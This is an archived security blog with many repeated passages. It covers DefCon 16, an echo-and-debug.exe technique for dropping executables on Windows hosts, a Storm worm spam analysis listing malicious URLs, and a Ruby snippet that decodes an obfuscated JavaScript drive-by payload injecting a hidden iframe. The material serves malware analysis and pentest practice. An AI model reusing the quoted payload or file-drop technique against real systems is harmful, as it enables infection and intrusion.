I was working on an exploit last week that was having a problem. At one point, I thought it might have been the shellcode I was using so I started looking for some old C code I had for testing to make sure shellcode actually ran. Nowhere to be found, I turned to Google and found the following blog that had C code and an interesting usage for it to analyze shellcode seen in malicious websites. The author extracted the shellcode from the page and put it in this C code, compiled it and ran it through Ollydbg for analysis. SIDE NOTE: Immunity has released an updated, more powerful version of Olly as the free Immunity Debugger.
While the author did all this on Windows, the C code works fine on other operating systems. For example, I was working with it on FreeBSD and had no problems.
While the author did all this on Windows, the C code works fine on other operating systems. For example, I was working with it on FreeBSD and had no problems.
Tuesday, August 19, 2008
A new obsession?
At DefCon 16, I finally got to see some of the other things going on other than CTF. I didn't see much but the thing that really left its mark was the Hardware Hacking Village. Greg and I went up there and I saw about 30 geeks or more going at it with soldering irons, miscellaneous computer scraps and DC16 badges. It was a cool site.
Greg had already been up there before and soldered a USB port onto his badge. I'd tried soldering a couple of times in my lifetime and failed pretty badly. This time, I was careful, asked for advice from experienced hardware hackers and was able to successfully solder on a working USB port.
What a rush! I'm totally hooked and have bought a couple of soldering irons (electric and butane) to work on modding all of my badges (DC 14-16). I've got a JTAG programmer at the office somewhere that I'm going to have to dig up to work on the previous badges, I think.
The thing I really want to build is a RFID cloner. The simplest, but most effective one I've found so far is the one from Chris Paget of IOActive but his BlackHat presentation with info on building it was squashed. :-( Oh well, I'll keep searching for something that will work. It may come down to having a separate reader and transmitter/writer. I don't really care too much as long as it is portable so I can use it during physical pentests.
As if I needed another obsession.
Greg had already been up there before and soldered a USB port onto his badge. I'd tried soldering a couple of times in my lifetime and failed pretty badly. This time, I was careful, asked for advice from experienced hardware hackers and was able to successfully solder on a working USB port.
What a rush! I'm totally hooked and have bought a couple of soldering irons (electric and butane) to work on modding all of my badges (DC 14-16). I've got a JTAG programmer at the office somewhere that I'm going to have to dig up to work on the previous badges, I think.
The thing I really want to build is a RFID cloner. The simplest, but most effective one I've found so far is the one from Chris Paget of IOActive but his BlackHat presentation with info on building it was squashed. :-( Oh well, I'll keep searching for something that will work. It may come down to having a separate reader and transmitter/writer. I don't really care too much as long as it is portable so I can use it during physical pentests.
As if I needed another obsession.
DefCon 16 retrospective
I won't bother going into any detail about the Capture the Flag competition here. You can read my blog entry over at Dark Reading or @tlas' blog for more information about our 3rd place finish and sk3wl 0f r00t's well-deserved victory. I did have an awesome time as I've had in the previous years when we won, learned a great deal from all aspects of the CTF experience and truly enjoyed spending time with my friends and teammates from the 1@stplace.
What else did I do while in Vegas for DefCon?
Thurs night, I finally met Tim and Kelly from Dark Reading in person for a fantastic time chatting and eating at the Mesa Grill in Caesar's Palace. They've been my editors for a year, now, and I'd never actually met them. We really had a great time. Afterwards, Kelly and I went by the Core Security party where we met their new CEO, Mark Hatton, Ivan Arce, Matt Hines, several other Core employees along with Rich Mogull and Mike Rothman. I picked up a couple of their Core Exploit "Black Hat Edition" card game but haven't had a chance to play it yet. Afterwards, Kelly tried to get me into the Microsoft party....FAIL.
Friday...CTF...then Plato's room to work on CTF stuff until 2:30am.
Saturday...CTF...then Plato's room to work on CTF stuff until 2:30am.
(Note: if you talk to any of my teammates, they'll tell you I did take a couple small naps during the late nights and won the "quickest to fall asleep" award along with answering a few questions while sleeping...questions that weren't asked to me.)
Sunday...CTF...but, then, I went to the Hardware Hacking Village and soldered on a USB port so I could so some badge hacking after I returned home. Next, I went to the first presentation I've ever seen at a DefCon conference. Why the first one you ask? Because CTF takes up the entire weekend! So, the presentation was "Stealing the Internet: An Internet-Scale Man in the Middle Attack." It was pretty cool. I admit that I don't know much about BGP so I probably thought this was way cooler than some other people but the room was packed. The sweetest part of the presentation was that they had hijacked the DefCon network at the Riviera and had been routing through and collecting all the passing traffic through their colocation company in NY. Wicked!
Sunday night...the DC16 Awards Ceremony was so packed and I knew we didn't win that I decided to head off to dinner with Greg. We ate at an awesome Koren BBQ restaurant and headed down the strip to relax. We wound up at Casa Fuente where we had a few mojitos and smoked some nice Ashton cigars. Afterwards, we walked the strip and made our way back to the Riviera where Greg had to get a little gambling out of his system.
Monday...I spent the day in airports and on airplanes heading home.
DefCon 16 rocked! Thank you to all my friends that I was able to see again, my brothers-in-arms from 1@stplace, Kenshoto for a great game and the DC16 organizers. See you next year!!
I'll post my pics soon.
What else did I do while in Vegas for DefCon?
Thurs night, I finally met Tim and Kelly from Dark Reading in person for a fantastic time chatting and eating at the Mesa Grill in Caesar's Palace. They've been my editors for a year, now, and I'd never actually met them. We really had a great time. Afterwards, Kelly and I went by the Core Security party where we met their new CEO, Mark Hatton, Ivan Arce, Matt Hines, several other Core employees along with Rich Mogull and Mike Rothman. I picked up a couple of their Core Exploit "Black Hat Edition" card game but haven't had a chance to play it yet. Afterwards, Kelly tried to get me into the Microsoft party....FAIL.
Friday...CTF...then Plato's room to work on CTF stuff until 2:30am.
Saturday...CTF...then Plato's room to work on CTF stuff until 2:30am.
(Note: if you talk to any of my teammates, they'll tell you I did take a couple small naps during the late nights and won the "quickest to fall asleep" award along with answering a few questions while sleeping...questions that weren't asked to me.)
Sunday...CTF...but, then, I went to the Hardware Hacking Village and soldered on a USB port so I could so some badge hacking after I returned home. Next, I went to the first presentation I've ever seen at a DefCon conference. Why the first one you ask? Because CTF takes up the entire weekend! So, the presentation was "Stealing the Internet: An Internet-Scale Man in the Middle Attack." It was pretty cool. I admit that I don't know much about BGP so I probably thought this was way cooler than some other people but the room was packed. The sweetest part of the presentation was that they had hijacked the DefCon network at the Riviera and had been routing through and collecting all the passing traffic through their colocation company in NY. Wicked!
Sunday night...the DC16 Awards Ceremony was so packed and I knew we didn't win that I decided to head off to dinner with Greg. We ate at an awesome Koren BBQ restaurant and headed down the strip to relax. We wound up at Casa Fuente where we had a few mojitos and smoked some nice Ashton cigars. Afterwards, we walked the strip and made our way back to the Riviera where Greg had to get a little gambling out of his system.
Monday...I spent the day in airports and on airplanes heading home.
DefCon 16 rocked! Thank you to all my friends that I was able to see again, my brothers-in-arms from 1@stplace, Kenshoto for a great game and the DC16 organizers. See you next year!!
I'll post my pics soon.
Tuesday, May 20, 2008
exe2hex.rb: old school pwnage
I figured I'd better put this up before I keep having more ideas of how to improve it and never end up posting it.
What is it? Just over a month ago, a buddy (who's recently begun working for a BIG company that just happens to do some pentesting) was telling me about a pentest where they weren't allowed to upload software so he had to write something in a batch file. While we were chatting, I began telling him of the different ways I've seen attackers put files on Windows systems: tftp, ftp (with & without scripts), wget-like VBscript and echo.
While echo was integral in most of the above techniques (ftp script & VBscript), I'd seen a handful of hacks back in 2005 where an attacker used echo and pasted hex into a file. When the file was complete, he ran "debug < 123.hex". Renamed the resulting file to end with ".exe" and his tool was complete.
After digging through some really old incidents I'd investigated, I found some real world examples of the technique used during compromises. A little bit of Google-ing revealed these two links to a forum post describing the technique in 2004 and mention in a Phrack article.
After sitting in on part of Ed Skoudis' new Security 560 Penetration Testing class, I saw that his class didn't mention this technique but it covered just about all the others above. Since I would one day like to be efficient at writing ruby, I wrote exe2hex.rb based on the C code from Riftor.
Currently, due to a limitation in Microsoft's debug.exe, files must be smaller than 65,280 bytes. My next version will automatically split up files to be under the correct size and convert each one to hex. Once echo'd and converted on the target host, the individual files can be joined with "copy file1+file2+file3 /b dest /b" (or at least it should work that way...need to do more testing).
Where does this tool come in handy...I have some ideas but they'll have to wait. I need to pack things up here in the lab and head home.
What is it? Just over a month ago, a buddy (who's recently begun working for a BIG company that just happens to do some pentesting) was telling me about a pentest where they weren't allowed to upload software so he had to write something in a batch file. While we were chatting, I began telling him of the different ways I've seen attackers put files on Windows systems: tftp, ftp (with & without scripts), wget-like VBscript and echo.
While echo was integral in most of the above techniques (ftp script & VBscript), I'd seen a handful of hacks back in 2005 where an attacker used echo and pasted hex into a file. When the file was complete, he ran "debug < 123.hex". Renamed the resulting file to end with ".exe" and his tool was complete.
After digging through some really old incidents I'd investigated, I found some real world examples of the technique used during compromises. A little bit of Google-ing revealed these two links to a forum post describing the technique in 2004 and mention in a Phrack article.
After sitting in on part of Ed Skoudis' new Security 560 Penetration Testing class, I saw that his class didn't mention this technique but it covered just about all the others above. Since I would one day like to be efficient at writing ruby, I wrote exe2hex.rb based on the C code from Riftor.
Currently, due to a limitation in Microsoft's debug.exe, files must be smaller than 65,280 bytes. My next version will automatically split up files to be under the correct size and convert each one to hex. Once echo'd and converted on the target host, the individual files can be joined with "copy file1+file2+file3 /b dest /b" (or at least it should work that way...need to do more testing).
Where does this tool come in handy...I have some ideas but they'll have to wait. I need to pack things up here in the lab and head home.
Tuesday, January 15, 2008
Storm <3's You!
Storm (Nuwar, CME711, etc) just reminded me that Valentine's is less than a month away. I've gotten four recycled e-mails looking to spread some love. When I first got the copies, only two AV vendors (NOD32v2 & Webwasher-Gateway) on VirusTotal.com were detecting it as malicious.
Subject: Our Love is Free
Body: When Love Comes Knocking http://69.212.48.3/
Subject: I Love Thee
Body: Words in my Heart http://24.1.116.187/
Subject: A Is For Attitude
Body: A Dream is a Wish http://222.107.37.211/
Subject: Eternity of Your Love
Body: The Moon & Stars http://68.57.210.178/
The webpage contains some URL encoded text that links to "with_love.exe"
'%3C%61%20%68%72%65%66%3D%22%77%69%74%68%6C%6F%76%65%2E%65%78%65%22%3E%0D%0A'
Subject: Our Love is Free
Body: When Love Comes Knocking http://69.212.48.3/
Subject: I Love Thee
Body: Words in my Heart http://24.1.116.187/
Subject: A Is For Attitude
Body: A Dream is a Wish http://222.107.37.211/
Subject: Eternity of Your Love
Body: The Moon & Stars http://68.57.210.178/
The webpage contains some URL encoded text that links to "with_love.exe"
'%3C%61%20%68%72%65%66%3D%22%77%69%74%68%6C%6F%76%65%2E%65%78%65%22%3E%0D%0A'
Sunday, November 04, 2007
Tethering a Verizon BlackBerry 8830 with Mac OS X Leopard
These settings go into System Preferences under the Network area. You have to add a Bluetooth device and pair the phone with modem. If you don't know how, read the forum post that got me this far. The forum works great with Tiger but did not work with Leopard. I had to make changes to the Advanced area to get it to work properly.
Username: PHONE_NUMBER@vzw3.com (not sure how important this is, I've done it with the BlackBerry Internet Server username also)
Password: vzw
Telephone: #777
Advanced button
Vendor: Generic
Model: Dialup Device
(Leave the rest as defaults)
Username: PHONE_NUMBER@vzw3.com (not sure how important this is, I've done it with the BlackBerry Internet Server username also)
Password: vzw
Telephone: #777
Advanced button
Vendor: Generic
Model: Dialup Device
(Leave the rest as defaults)
Friday, November 02, 2007
Ruby snippet for URI decoding
Ruby Module URI::Escape
I was doing some quick analysis of a page that had some obfuscated javascript with some URI encoded text. Usually, I pull out the javascript and run it through SpiderMonkey (or Didier Stephen's modified version) to see what's going on. Recently, Jordan and I were talking about CLI tools for doing encoding/decoding of things in hex, URI, binary and similar.
So, I took this opportunity to figure out the Ruby for deobfuscating something like this:
Which this:
Returns this:
I was doing some quick analysis of a page that had some obfuscated javascript with some URI encoded text. Usually, I pull out the javascript and run it through SpiderMonkey (or Didier Stephen's modified version) to see what's going on. Recently, Jordan and I were talking about CLI tools for doing encoding/decoding of things in hex, URI, binary and similar.
So, I took this opportunity to figure out the Ruby for deobfuscating something like this:
eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e
%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66
%72%61%6d%65%20%6e%61%6d%65%3d%39%61%37%62%34%37%32%32%20%73%72%63
%3d%5c%27%68%74%74%70%3a%2f%2f%69%6c%6f%76%65%6d%79%6c%6f%76%65%73
%2e%63%6f%6d%2f%74%72%61%66%66%2e%70%68%70%3f%27%2b%4d%61%74%68%2e
%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%35
%32%37%36%29%2b%27%37%61%33%62%36%38%30%39%66%38%5c%27%20%77%69%64
%74%68%3d%32%30%31%20%68%65%69%67%68%74%3d%37%36%20%73%74%79%6c%65
%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69
%66%72%61%6d%65%3e%27%29"));
Which this:
ruby -e 'require "uri"; p URI.unescape("<junk_from_above>")'
Returns this:
"window.status='Done';document.write('<iframe name=9a7b4722 src=\\'http://ilovemyloves.com/traff.php?'+Math.round(Math.random()*15276)+'7a3b6809f8\\' width=201 height=76 style=\\'display: none\\'></iframe>')"
Subscribe to:
Posts (Atom)
